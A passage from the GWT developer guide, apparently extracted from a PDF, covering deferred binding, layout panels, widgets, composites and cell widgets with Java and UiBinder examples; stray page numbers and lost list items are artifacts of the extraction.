Deferred binding is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", etc... As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment. 1. 2. 3. 4. 5. 6. 7. 8. Deferred Binding Benefits Defining Deferred Binding Rules Directives in Module XML files Deferred Binding Using Replacement Example Class Hierarchy using Replacement Deferred Binding using Generators Generator Configuration in Module XML Generator Implementation
Some parts of the toolkit make implicit use of deferred binding, that is, they use the technique as a part of their implementation, but it is not visible to the user of the API. For example, many widgets and panels as well as the DOM class use this technique to implement browser specific logic. Other GWT features require the API user to explicity invoke deferred binding by designing classes that follow specific rules and instantiating instances of the classes with GWT.create(Class), including GWT RPC and I18N. 213 / 469
As a user of the Google Web Toolkit, you may never need to create a new interface that uses deferred binding. If you follow the instructions in the guide for creating internationalized applications or GWT RPC calls you will be using deferred binding, but you will not have to actually write any browser dependent or locale dependent code. The rest of the deferred binding section describes how to create new rules and classes using deferred binding. If you are new to the toolkit or only intend to use pre-packaged widgets, you will probably want to skip on to the next topic. If you are interested in programming entirely new widgets from the ground up or other functionality that requires cross-browser dependent code, the next sections should be of interest.
Inside the PopupPanel module XML file, there happens to be some rules defined for deferred binding. In this case, we're using a replacement rule.
These directives tell the GWT compiler to swap out the PoupImpl class code with different class implementations according to the the user.agent property. The Popup.gwt.xml file specifies a default implementation for the PopupImpl class, an overide for the Mozilla browser (PopupImplMozilla is substituted for PopupImpl), and an override for Internet Explorer version 6 (PopupImplIE6 is substituted for PopupImpl). Note that PopupImpl class or its derived classes cannot be instantiated directly. Instead, the PopupPanel class is used and the GWT.create(Class) technique is used under the hood to instruct the compiler to use deferred binding. 214 / 469
The two classes PopupImplMozilla and PopupImplIE6 extend the PopupImpl class and override some PopupImpl's methods to implement browser specific behavior. Then, when the PopupPanel class needs to switch to some browser dependent code, it accesses a member function inside the PopupImpl class:
public void setVisible(boolean visible) { // ... common code for all implementations of PopupPanel ... // If the PopupImpl creates an iframe shim, it's also necessary to hide it // as well. impl.setVisible(getElement(), visible); }
The default implementation of PopupImpl.setVisible() is empty, but PopupImplIE6 has some special logic implemented as a JSNI method:
public native void setVisible(Element popup, boolean visible) /*-{ if (popup.__frame) { popup.__frame.style.visibility = visible ? 'visible' : 'hidden'; } }-*/;{
After the GWT compiler runs, it prunes out any unused code. If your application references the PopupPanel class, the compiler will create a separate JavaScript output file for each browser, each containing only one of the implementations: PopupImpl, PopupImplIE6 or PopupImplMozilla. This means that each browser only downloads the implementation it needs, thus reducing the size of the output JavaScript code and minimizing the time needed to download your application from the server.
215 / 469
These directives instruct the GWT compiler to invoke methods in a Generator subclass (ServiceInterfaceProxyGenerator) in order to generate special code when the deferred binding mechanism GWT.create() is encountered while compiling. In this case, if the GWT.create() call references an instance of RemoteService or one of its subclasses, the ServiceInterfaceProxyGenerator's generate()` method will be invoked.
Generator Implementation
Defining a subclass of the Generator class is much like defining a plug-in to the GWT compiler. The Generator gets called to generate a Java class definition before the Java to JavaScript conversion occurs. The implementation consists of one method that must output Java code to a file and return the name of the generated class as a string. The following code shows the Generator that is responsible for deferred binding of a RemoteService interface:
/** * Generator for producing the asynchronous version of a * {@link com.google.gwt.user.client.rpc.RemoteService RemoteService} interface. */ public class ServiceInterfaceProxyGenerator extends Generator { /** * Generate a default constructible subclass of the requested type. The * generator throws <code>UnableToCompleteException</code> if for any reason * it cannot provide a substitute class * * @return the name of a subclass to substitute for the requested class, or * return <code>null</code> to cause the requested type itself to be * used * */ public String generate(TreeLogger logger, GeneratorContext ctx, String requestedClass) throws UnableToCompleteException { TypeOracle typeOracle = ctx.getTypeOracle(); assert (typeOracle != null); JClassType remoteService = typeOracle.findType(requestedClass); if (remoteService == null) { logger.log(TreeLogger.ERROR, "Unable to find metadata for type '" + requestedClass + "'", null); throw new UnableToCompleteException(); } if (remoteService.isInterface() == null) { logger.log(TreeLogger.ERROR, remoteService.getQualifiedSourceName() + " is not an interface", null); throw new UnableToCompleteException(); } ProxyCreator proxyCreator = new ProxyCreator(remoteService); TreeLogger proxyLogger = logger.branch(TreeLogger.DEBUG, "Generating client proxy for remote service interface '" + remoteService.getQualifiedSourceName() + "'", null); return proxyCreator.create(proxyLogger, ctx); } }
The typeOracle is an object that contains information about the Java code that has already been parsed that the generator may need to consult. In this case, the generate() method checks it arguments and the passes off the bulk of the work to another class (ProxyCreator).
216 / 469
4.4.
GWT user interface classes are similar to those in existing UI frameworks such as Swing and SWT except that the widgets are rendered using dynamically-created HTML rather than pixel-oriented graphics. In traditional JavaScript programming, dynamic user interface creation is done by manipulating the browser's DOM. While GWT provides access to the browser's DOM directly using the DOM package, it is far easier to use classes from the Widget hierarchy. The Widget classes make it easier to quickly build interfaces that will work correctly on all browsers. Note: Use GWT Designer, a powerful and easy-to-use bi-directional Java GUI designer, to easily create GWT GUI applications without spending a lot of time writing code. 1. Cross-Browser Support Use widgets and composites for cross-browser compatibility 2. Layout Using Panels Explore the various panels available for layout 3. Widgets Create user controls with widgets 4. Creating Custom Widgets Create new widgets, composite widgets, or native JavaScript widgets 5. Cell Widgets New 2.1 Work with widgets, panels, the DOM, events, CSS, declarative UI and images. 6. Editors New 2.1 Allows data stored in an object graph to be mapped onto a graph of Editors. 7. Working with the DOM When necessary, manipulate the browser's DOM directly 8. Events and Handlers Handle events published by widgets 9. Working with CSS Style widgets with cascading style sheets 10. Declarative UI with UiBinder Build widget and DOM structures from XML markup 11. Bundling Image Resources Optimize image loading by reducing the number of HTTP requests for images
4.4.1.
Cross-Browser Support
GWT shields you from worrying too much about cross-browser incompatibilities. If you stick to built-in widgets and composites, your applications will work similarly on the most recent versions of Internet Explorer, Firefox, Chrome, and Safari. (Opera, too, most of the time.) DHTML user interfaces are remarkably quirky, though, so make sure to test your applications thoroughly on every browser. Whenever possible, GWT defers to browsers' native user interface elements. For example, GWT's Button widget is a true HTML <button> rather than a synthetic button-like widget built, say, from a <div>. That means that GWT buttons render appropriately in different browsers and on different client operating systems. We like the native browser controls because they're fast, accessible, and most familiar to users. When it comes to styling web applications, CSS is ideal. So, instead of attempting to encapsulate UI styling behind a wall of least-common-denominator APIs, GWT provides very few methods directly related to style. Rather, developers are encouraged to define styles in stylesheets that are linked to application code using style names. In addition to cleanly separating style from application logic, this division of labor helps applications load and render more quickly, consume less memory, and even makes them easier to tweak during edit/debug cycles since there's no need to recompile for style tweaks. Tip: If you find a need to implement a browser specific dependency, you can use a JSNI method to retrieve the browser' UserAgent string.
217 / 469
4.4.2.
1. 2. 3. 4. 5. 6. 7.
Basic Panels Layout Panels Animation RequiresResize and ProvidesResize Moving to Standards Mode Design of the GWT 2.0 layout system Recipes
Panels in GWT are much like their layout counterparts in other user interface libraries. The main difference is that GWT panels use HTML elements to lay out their child widgets. Panels contain widgets and other panels. They are used to define the layout of the user interface in the browser.
4.4.2.1.
RootPanel
Basic Panels
A RootPanel is the top-most panel to which all other widgets are ultimately attached. RootPanel.get() gets a singleton panel that wraps the HTML document's <body> element. Use RootPanel.get(String id) to get a panel for any other element on the page.
FlowPanel
A FlowPanel is the simplest panel. It creates a single <div> element and attaches children directly to it without modification. Use it in cases where you want the natural HTML flow to determine the layout of child widgets.
HTMLPanel
This panel provides a simple way to define an HTML structure, within which widgets will be embedded at defined points. While you may use it directly, it is most commonly used in UiBinder templates.
FormPanel
When you need to reproduce the behavior of an HTML form (e.g., for interacting with servers that expect form POST requests, or simply to get the default form keyboard behavior in the browser), you can use a FormPanel. Any widgets wrapped by this panel will be wrapped in a <form> element.
ScrollPanel
When you wish to create a scrollable area within another panel, you should use a ScrollPanel. This panel works well in layout panels (see below), which provide it with the explicit size it needs to scroll properly.
4.4.2.2.
Layout Panels
GWT 2.0 introduces a number of new panels, which together form a stable basis for fast and predictable application-level layout. For background and details, see "Design of the GWT 2.0 layout system" below. The bulk of the layout system is embodied in a series of panel widgets. Each of these widgets uses the underlying layout system to position its children in a dependable manner. 218 / 469
RootLayoutPanel
This panel is a singleton that serves as a root container to which all other layout panels should be attached (see RequiresResize and ProvidesResize below for details). It extends LayoutPanel, and thus you can position any number of children with arbitrary constraints. You most commonly use RootLayoutPanel as a container for another panel, as in the following snippet, which causes a DockLayoutPanel to fill the browser's client area:
DockLayoutPanel appPanel = new DockLayoutPanel(Unit.EM); RootLayoutPanel.get().add(appPanel);
LayoutPanel
Think of LayoutPanel as the most general layout mechanism, and often one upon which other layouts are built. Its closest analog is AbsolutePanel, but it is significantly more general in that it allows its children to be positioned using arbitrary constraints, as in the following example:
Widget child0, child1, child2; LayoutPanel p = new LayoutPanel(); p.add(child0); p.add(child1); p.add(child2); p.setWidgetLeftWidth(child0, 0, PCT, 50, PCT); // Left panel p.setWidgetRightWidth(child1, 0, PCT, 50, PCT); // Right panel p.setWidgetLeftRight(child2, 5, EM, 5, EM); // Center panel p.setWidgetTopBottom(child2, 5, EM, 5, EM);
DockLayoutPanel
DockLayoutPanel serves the same purpose as the existing DockPanel widget, except that it uses the layout system to achieve this structure without using tables, and in a predictable manner. You would often use to build application-level structure, as in the following example:
DockLayoutPanel p = new DockLayoutPanel(Unit.EM); p.addNorth(new HTML("header"), 2); p.addSouth(new HTML("footer"), 2); p.addWest(new HTML("navigation"), 10); p.add(new HTML(content));
Note that DockLayoutPanel requires the use of consistent units for all children, specified in the constructor. It also requires that the size of each child widget (except the last, which consumes all remaining space) be specified explicitly along its primary axis.
SplitLayoutPanel
The SplitLayoutPanel is identical to the DockLayoutPanel (and indeed extends it), except that it automatically creates a user-draggable splitter between each pair of child widgets. It also supports only the use of pixel units. Use this instead of HorizontalSplitPanel and VerticalSplitPanel.
219 / 469
SplitLayoutPanel p = new SplitLayoutPanel(); p.addWest(new HTML("navigation"), 128); p.addNorth(new HTML("list"), 384); p.add(new HTML("details"));
StackLayoutPanel
StackLayoutPanel replaces the existing StackPanel (which does not work very well in standards mode). It displays one child widget at a time, each of which is associated with a single "header" widget. Clicking on a header widget shows its associated child widget.
StackLayoutPanel p = new StackLayoutPanel(Unit.EM); p.add(new HTML("this content"), new HTML("this"), 4); p.add(new HTML("that content"), new HTML("that"), 4); p.add(new HTML("the other content"), new HTML("the other"), 4);
Note that, as with DockLayoutPanel, only a single unit type may be used on a given panel. The length value provided to the add() method specifies the size of the header widget, which must be of a fixed size.
220 / 469
TabLayoutPanel
As with the existing TabPanel, TabLayoutPanel displays a row of clickable tabs. Each tab is associated with another child widget, which is shown when a user clicks on the tab.
TabLayoutPanel p = new TabLayoutPanel(1.5, Unit.EM); p.add(new HTML("this content"), "this"); p.add(new HTML("that content"), "that"); p.add(new HTML("the other content"), "the other");
The length value provided to the TabLayoutPanel constructor specifies the height of the tab bar, which you must explicitly provide.
4.4.2.3.
Animation
The GWT 2.0 layout system has direct, built-in support for animation. This is necessary to support a number of usecases, because the layout system must properly handle animation among sets of layout constraints. Panels that implement AnimatedLayout, such as LayoutPanel, DockLayoutPanel, and SplitLayoutPanel, can animate their child widgets from one set of constraints to another. Typically this is done by setting up the state towards which you wish to animate, then calling animate(). See "Recipes" below for specific examples.
4.4.2.4.
Two new characteristic interfaces were introduced in GWT 2.0: RequiresResize and ProvidesResize. These are used to propagate notification of resize events throughout the widget hierarchy. RequiresResize provides a single method, onResize(), which is called by the widget's parent whenever the child's size has changed. ProvidesResize is simply a tag interface indicating that a parent widget will honor this contract. The purpose of these two interfaces is to form an unbroken hierarchy between all widgets that implement RequiresResize and the RootLayoutPanel, which listens for any changes (such as the browser window resizing) that could affect the size of widgets in the hierarchy.
ResizeComposite
When creating a custom Composite widget that wrap a widget that implements RequiresResize, you should use ResizeComposite as its base class. This subclass of Composite automatically propagates resize events to its wrapped widget.
4.4.2.5.
The GWT 2.0 layout system is intended to work only in "standards mode". This means that you should always place the following declaration at the top of your HTML pages: <!DOCTYPE html>
StackPanel
StackPanels do not work very well in standards mode. Because of the differences in table rendering mentioned above, StackPanel will almost certainly not do what you expect in standards mode, and you should replace them with StackLayoutPanel.
4.4.2.6.
Prior to 2.0, GWT's mechanisms for handling application-level layout have a number of significant problems: They're unpredictable. They often require extra code to fix up their deficiencies: For example, causing an application to fill the browser's client area with interior scrolling is nearly impossible without extra code. They don't all work well in standards mode.
Their underlying motivation was sound the intention was to let the browser's native layout engine do almost all of the work. But the above deficiencies can be crippling.
222 / 469
Goals
Perfectly predictable layout behavior. Precision layout should be possible. It should also work in the presence of CSS decorations (border, margin, and padding) with arbitrary units. Work correctly in standards-mode. Get the browser to do almost all of the work in its layout engine. Manual adjustments should occur only when strictly necessary. Smooth, automatic animation.
Non-Goals
Work in quirks-mode. Swing-style layout based on "preferred size". This is effectively intractable in the browser. Take over all layout. This design is intended to handle coarse-grained "desktop-like" layout. The individual bits and pieces, such as form elements, buttons, tables, and text should still be laid out naturally.
Constraint-based Layout
The GWT 2.0 layout system is built upon the simple constraint system that exists natively in CSS. This uses the properties left, top, width, height, right, and bottom. While most developers are familiar with these properties, it is less well-known that they can be combined in various ways to form a simple constraint system. Take the following CSS example:
.parent { position: relative; /* to establish positioning context */ } .child { position: absolute; left:1em; top:1em; right:1em; bottom:1em; }
In this example, the child will automatically consume the parent's entire space, minus 1em of space around the edge. Any two of these properties (on each axis) forms a valid constraint pair (three would be degenerate), producing lots of interesting possibilities. This is especially true when you consider various mixtures of relative units, such as "em" and "%".
4.4.2.7.
Recipes
The following are a series of simple "recipes" for creating various structures and dealing with different scenarios. Where possible, we'll describe the layout in terms of UiBinder templates.
223 / 469
<g:DockLayoutPanel unit='EM'> <g:north size='4'> <g:Label>Header</g:Label> </g:north> <g:west size='16'> <g:Label>Navigation</g:Label> </g:west> <g:center> <g:ScrollPanel> <g:Label>Content Area</g:Label> </g:ScrollPanel> </g:center> </g:DockLayoutPanel>
You must place this structure in a container that implements ProvidesResize, which is most commonly RootLayoutPanel. The following code demonstrates how to do this:
interface Binder extends UiBinder<Widget, BasicApp> { } private static final Binder binder = GWT.create(Binder.class); public void onModuleLoad() { RootLayoutPanel.get().add(binder.createAndBindUi()); }
Splitters
SplitLayoutPanel works much like DockLayoutPanel, except that it only supports pixel units. The basic application structure above can be given a splitter between the navigation and content areas like so:
<g:DockLayoutPanel unit='EM'> <g:north size='4'> <g:Label>Header</g:Label> </g:north> <g:center> <g:SplitLayoutPanel> <g:west size='128'> <g:Label>Navigation</g:Label> </g:west> <g:center> <g:ScrollPanel> <g:Label>Content Area</g:Label> </g:ScrollPanel> </g:center> </g:SplitLayoutPanel> </g:center> </g:DockLayoutPanel>
Note how we mix the dock and split panels, so that the header's size can be specified in EM units.
Layout animation
To use animation with a LayoutPanel, you must first create an initial set of constraints, then animate to a target set of constraints. In the following example, we start with a child widget positioned at the top, but with no height so that it is effectively hidden. Calling LayoutPanel.forceLayout() "fixes" the initial constraints.
panel.setWidgetTopHeight(child, 0, PX, 0, PX); panel.forceLayout();
Now we give the widget a height of 2em and explicitly call LayoutPanel.animate(int) to cause it to resize over 500 ms.
panel.setWidgetTopHeight(child, 0, PX, 2, EM); panel.animate(500);
This will work with any constraints and any number of children.
224 / 469
Note that RootLayoutPanel provides no mechanism for wrapping an arbitrary element like RootPanel does. This is because it is impossible to know when an arbitrary element has been resized by the browser. If you want to resize a layout panel in an arbitrary element, you must do so manually. This also applies to layout panels used in PopupPanel and DialogBox. The following example shows the use of a SplitLayoutPanel in a DialogBox:
SplitLayoutPanel split = new SplitLayoutPanel(); split.addWest(new HTML("west"), 128); split.add(new HTML("center")); split.setSize("20em", "10em"); DialogBox dialog = new DialogBox(); dialog.setText("caption"); dialog.add(split); dialog.show();
225 / 469
<g:DockLayoutPanel unit='EM'> <g:north size='2'> <g:HTML>Header</g:HTML> </g:north> <g:south size='2'> <g:HTML>Footer</g:HTML> </g:south> <g:center> <g:RichTextArea width='100%' height='100%'/> </g:center> </g:DockLayoutPanel>
4.4.3.
Widgets
You construct user interfaces in GWT applications using widgets that are contained within panels. Widgets allow you to interact with the user. Panels control the placement of user interface elements on the page. Widgets and panels work the same way on all browsers; by using them, you eliminate the need to write specialized code for each browser.
Widgets
Widgets define your applications input and output with the user. Examples of widgets include the following: Button A user clicks the mouse button to activate the button.
TextBox The application can display text and the user can type in the text box.
RichTextArea A text editor that allows users to apply rich formatting of the text.
226 / 469
For the complete list of GWT UI elements, see Widget Gallery. You are not limited to the set of widgets provided by GWT. There are a number of ways to create custom widgets: You can bundle together existing widgets and create a Composite widget. You can write GWT bindings to an existing JavaScript widget. You can create your own widget from scratch using either Java or JavaScript.
You can also use one or more of the many third party widget libraries written for GWT.
Styles
Visual styles are applied to widgets using Cascading Style Sheets (CSS). Besides the default browser supplied definitions, each GWT widget and panel has pre-defined style sheet class definitions documented in the class reference documentation.
See Also
Creating Custom Widgets Discussion of how to create your own widgets in GWT. Layout Using Panels Examples of how to use panels.
4.4.4.
GWT makes it easy to create custom user interface elements. There are three general strategies to follow: Create a widget that is a composite of existing widgets. Create an entirely new widget written in the Java language. Create a widget that wraps JavaScript using JSNI methods.
There are numerous third party libraries that provide widgets you can integrate into your GWT module that were created using the strategies listed above.
Building Composites
The most effective way to create new widgets is to extend the Composite class. A composite is a specialized widget that can contain another component (typically, a Panel) but behaves as if it were its contained widget. You can easily combine groups of existing widgets into a composite that is itself a reusable widget. Some of the UI components provided in GWT are composites: for example, the TabPanel (a composite of a TabBar and a DeckPanel) and the SuggestBox. Rather than create complex widgets by subclassing Panel or another Widget type, it's better to create a composite because a composite usually wants to control which methods are publicly accessible without exposing those methods that it would inherit from its Panel superclass.
227 / 469
package com.google.gwt.examples; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.ui.CheckBox; import com.google.gwt.user.client.ui.Composite; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; import com.google.gwt.user.client.ui.Widget; public class CompositeExample implements EntryPoint { /** * A composite of a TextBox and a CheckBox that optionally enables it. */ private static class OptionalTextBox extends Composite implements ClickHandler { private TextBox textBox = new TextBox(); private CheckBox checkBox = new CheckBox(); /** * Constructs an OptionalTextBox with the given caption on the check. * * @param caption the caption to be displayed with the check box */ public OptionalTextBox(String caption) { // Place the check above the text box using a vertical panel. VerticalPanel panel = new VerticalPanel(); panel.add(checkBox); panel.add(textBox); // Set the check box's caption, and check it by default. checkBox.setText(caption); checkBox.setChecked(true); checkBox.addClickHandler(this); // All composites must call initWidget() in their constructors. initWidget(panel); // Give the overall composite a style name. setStyleName("example-OptionalCheckBox"); } public void onClick(ClickEvent event) { Object sender = event.getSource(); if (sender == checkBox) { // When the check box is clicked, update the text box's enabled state. textBox.setEnabled(checkBox.isChecked()); } } /** * Sets the caption associated with the check box. * * @param caption the check box's caption */ public void setCaption(String caption) { // Note how we use the use composition of the contained widgets to provide // only the methods that we want to. checkBox.setText(caption); } /** * Gets the caption associated with the check box. * * @return the check box's caption */ public String getCaption() { return checkBox.getText(); } } public void onModuleLoad() { // Create an optional text box and add it to the root panel. OptionalTextBox otb = new OptionalTextBox("Check this to enable me"); RootPanel.get().add(otb); }
228 / 469
Using JavaScript
When implementing a custom widget that derives directly from the Widget base class, you may also write some of the widget's methods using JavaScript. This should generally only be done as a last resort, as it becomes necessary to consider the cross-browser implications of the native methods that you write, and also becomes more difficult to debug. For an example of this pattern in practice, see the TextBox widget and the underlying JavaScript implementation of some of its methods in the TextBoxImpl class. You should use deferred binding to isolate browser specific code.
4.4.5.
Cell widgets (data presentation widgets) are high-performance, lightweight widgets composed of Cells for displaying data. Examples are lists, tables, trees and browsers. These widgets are designed to handle and display very large sets of data quickly. A cell widget renders its user interface as an HTML string, using innerHTML instead of traditional DOM manipulation. This design follows the flyweight pattern where data is accessed and cached only as needed, and passed to flyweight Cell objects. A cell widget can accept data from any type of data source. The data model handles asynchronous updates as well as push updates. When you change the data, the view is automatically updated. Cells are the basic blocks of a user interface and come in a variety of available cell types. They render views of data, interpret browser events and can be selected. A Cell has a type based on the data that the cell represents; for example, DatePickerCell is a Cell<Date> that represents a Date and allows the user to select a new Date. Cells must implement a render method that renders the typed value as an HTML string. In addition, cells can override onBrowserEvent to act as a flyweight that handles events that are fired on elements that were rendered by the cell. For example, in the CellList example of the Showcase, every selectable data record is rendered by a single Cell instance. Notice that the data that a single cell represents can be a composition of different data fields from the data source. In this example, the cell holds data of type ContactInfo, which represents a contact, including name, address and picture. In the CellTable example, a different Cell is used to render each Column of a row. The five columns in this example present data from a boolean and four strings. 1. Cell Widgets 1. Demos and Code Examples 2. Creating a CellList and Setting Data 3. Creating a CellTable 4. Creating a CellTree 5. Creating a CellBrowser 1. Cells 1. Available Cell Types 2. Creating a Custom Cell 1. Selection, Data and Paging 1. Adding Selection Support 2. Providing Dynamic Data 3. Adding Paging Controls 4. Updating a Database from Changes in a Cell Note: CellPanel is not a cell widget. CellPanel is an abstract base class for GWT Panel Widgets that are implemented using a table element.
229 / 469
4.4.5.1.
Cell Widgets
The data inserted in the last step is updated by the data provider (ListDataProvider or AsyncDataProvider). If you need to allow the user to modify the content of a cell and update the database, use ValueUpdater instead of setRowData in the last step, as described in Updating a Database From a CellList. Code Example - The example below is available at CellListExample.java The following code is a very simple example that creates a CellList widget containing a single TextCell and sets data from the data source. The list shows names.
public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(textCell); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. cellList.setRowCount(DAYS.size(), true); // Push the data into the widget. cellList.setRowData(0, DAYS); // Add it to the root panel. RootPanel.get().add(cellList); } }
You can add a SelectionModel to a CellList, as shown in the SelectionModel example below.
230 / 469
Creating a CellTable
CellTable renders row values in columns. A Column represents a single field in a data object. Every column defines getValue(), which retrieves the value for the column from the data object. Each column uses a Cell to render the columnspecific data. Note that columns can return whatever object they want for getValue(), including the row object itself (for example, to allow columns that show calculations based on several row values). A Header represents either a header or a footer in a table. A table can have a header and footer for each column. A Header can span multiple columns if adjacent headers are equal (==) to each other. Demo - CwCellTable example shows a CellTable<ContactInfo>. Each row item has 5 columns rendered respectively as a CheckboxCell, EditTextCell, EditTextCell, SelectionCell and TextCell. To Create a CellTable: 1. 2. 3. 4. 5. Create a standard or custom Cell for each column of data. Create a CellTable Create and add Columns to the CellTable. Access the data to populate the list. Add the data to the CellTable by calling setRowData on the CellTable for each Column.
The data inserted in the last step is updated by the data provider (ListDataProvider or AsyncDataProvider). If you need to allow the user to modify the content of a cell and update the database, use FieldUpdater instead of setRowData in the last step, as described in Updating a Database From a CellTable. More Information - Read the Cell Table Developer Guide for more information about CellTable-specific features, such as column sorting. Code Example - The example below is a pared-down version of CellTableExample.java
public class CellTableExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList( new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Create address column. TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. table.setRowCount(CONTACTS.size(), true); // Push the data into the widget. table.setRowData(0, CONTACTS); // Add it to the root panel. RootPanel.get().add(table); } }
231 / 469
You can add a SelectionModel to a CellTable, as shown in the SelectionModel example below.
Creating a CellTree
CellTree renders a hierarchy of nodes, such as this CwCellTree. A node can be either a leaf node or have children. Thus, a CellTree can have levels of nodes that go progressively deeper. A node is represented by a NodeInfo, which contains all of the information needed to render a single node. Each node has a Cell of a specific type; usually, all Cells at a given level are of the same type, but that isn't required. The example has a top level of nodes with each cell having an image and string. Likewise, the second and third levels of cells have their own distinct types. In addition to a cell, a node also has a DataProvider, to provide the data to the children of the NodeInfo, and a SelectionModel, to indicate how it can be selected by the user. The TreeViewModel provides the NodeInfo for each child node. When a node is opened, CellTree will call getNodeInfo() on TreeViewModel to get the NodeInfo used to render the children. A CellTree can have its own CSS styles and its own resources, such as images that the user clicks on to open or close a node. It can also respond to browser events. In addition, a CellTree can have built-in animation for progressively revealing or hiding children when its node opens or closes. Demo - CwCellTree example shows a CellTree. It has three levels rendered respectively as custom types CategoryCell, LetterCountCell and ContactCell (the same type from the CellList demo). The checkbox has an update method to select the ContactCell when checked. Creating a CellTree: 1. Define a TreeViewModel and getNodeInfo a. In getNodeInfo, create a data provider for the child nodes. b. Populate the data provider with data. c. Create a standard or custom Cell to render the children. 2. Create an instance of your TreeViewModel class. 3. Create a CellTree, passing in the TreeViewModel instance. Code Example #1 - The example below is a simplified example of CellTree, and is available at CellTreeExample.java. Code Example #2 - For a real-world example of CellTree, see CellTreeExample2.java.
/** * Example of {@link CellTree}. Shows a Tree consisting of strings. */ public class CellTreeExample implements EntryPoint { // The model that defines the nodes in the tree. private static class CustomTreeModel implements TreeViewModel { // Get the NodeInfo that provides the children of the specified value. public <T> NodeInfo<?> getNodeInfo(T value) { // Create some data in a data provider. Use the parent value as a prefix for the next level. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); for (int i = 0; i < 2; i++) { dataProvider.getList().add(value + "." + String.valueOf(i)); } // Return a node info that pairs the data with a cell. return new DefaultNodeInfo<String>(dataProvider, new TextCell()); } // Check if the specified value represents a leaf node. Leaf nodes cannot be opened. public boolean isLeaf(Object value) { // The maximum length of a value is ten characters. return value.toString().length() > 10; } } public void onModuleLoad() { // Create a model for the tree. TreeViewModel model = new CustomTreeModel(); // Create the tree using the model. We specify the default value of the // hidden root node as "Item 1". CellTree tree = new CellTree(model, "Item 1"); // Add the tree to the root layout panel. RootLayoutPanel.get().add(tree); } }
When you instantiate a CellTree, you must pass in an instance of a concrete class that implements interface TreeViewModel. This concrete class gets and organizes the data into a hierarchy in the implementation of method 232 / 469
getNodeInfo(value). When a tree node is opened, the tree calls getNodeInfo(value) to get the data provider and Cell used to render the child nodes. You can add a SelectionModel to a CellTree, as shown in the SelectionModel example below.
Creating a CellBrowser
CellBrowser is similar to a CellTree but displays the node levels side-by-side. The only code difference is you use a CellBrowser constructor and use a different CellBrowser.Resources for CSS style (and images) to create side-by-side levels. Demo - CwCellBrowser example shows a CellBrowser. It displays the same data in the same three levels as the above CellTree example, except that it displays the levels side-by-side. To Create a CellBrowser Follow the above procedure for CellTree, but change the CellTree constructor to CellBrowser, as follows:
// Create the browser using the model. CellBrowser browser = new CellBrowser(model, "Item 1");
Code Example #1 - For a simple example of CellBrowser, see CellBrowerExample.java. Code Example #2 - For a real-world example of CellBrowser, see CellBrowserExample2.java.
4.4.5.2.
Cells
233 / 469
Code Example #2 - See EditableCellExample.java, a more complex example that shows show to write a custom Cell that can change state based on user actions. It uses onBrowserEvent to handle click events and the Enter key.
4.4.5.3.
234 / 469
Views or application code can call setSelected() to select an item. Views call isSelected() to determine if an item is selected. Views also subscribe to the SelectionModel so they can be informed of selection changes that arrive from outside the view. In fact, you can extend DefaultSelectionModel and override isDefaultSelected(). This simple approach offers a lot of flexibility. A complex implementation can handle "select all" across multiple pages using a boolean to indicate that everything is selected, and then keep track of negative selections. By using a subscription model, we can link selection across multiple views. If multiple views subscribe to a single SelectionModel, then selecting a row in one view will select the row in other views. This behavior is optional and can be avoided by using a single SelectionModel instance per view. Demo - CwCellList example shows a cell widget that has a SelectionModel added to it. Clicking on an item selects it. To Add a Selection to a Cell Widget: 1. 2. 3. 4. 5. Create a cell widget. Choose a standard SelectionModel (or roll your own). Add this SelectionModel to the cell widget using setSelectionModel(SelectionModel). Create a SelectionChangeEvent.Handler implementing onSelectionChange. Add this handler to the SelectionModel using addSelectionChangeHandler.
Keys Every DTO (Data Transfer Object) must have a key associated with it in order to be able to identify it as the same object, even though some of its properties may have changed. For example, given a table of current stock prices, the stock price may change in one of the columns, but the row represents the same fundamental DTO. Keys allow us to associate ViewData, such as selection state and validation information, with a DTO. If you select some items in a table or list, then when the list refreshes with new data, you can maintain the same selection. Code Example - The example of KeyProvider below is available at KeyProviderExample.java.
235 / 469
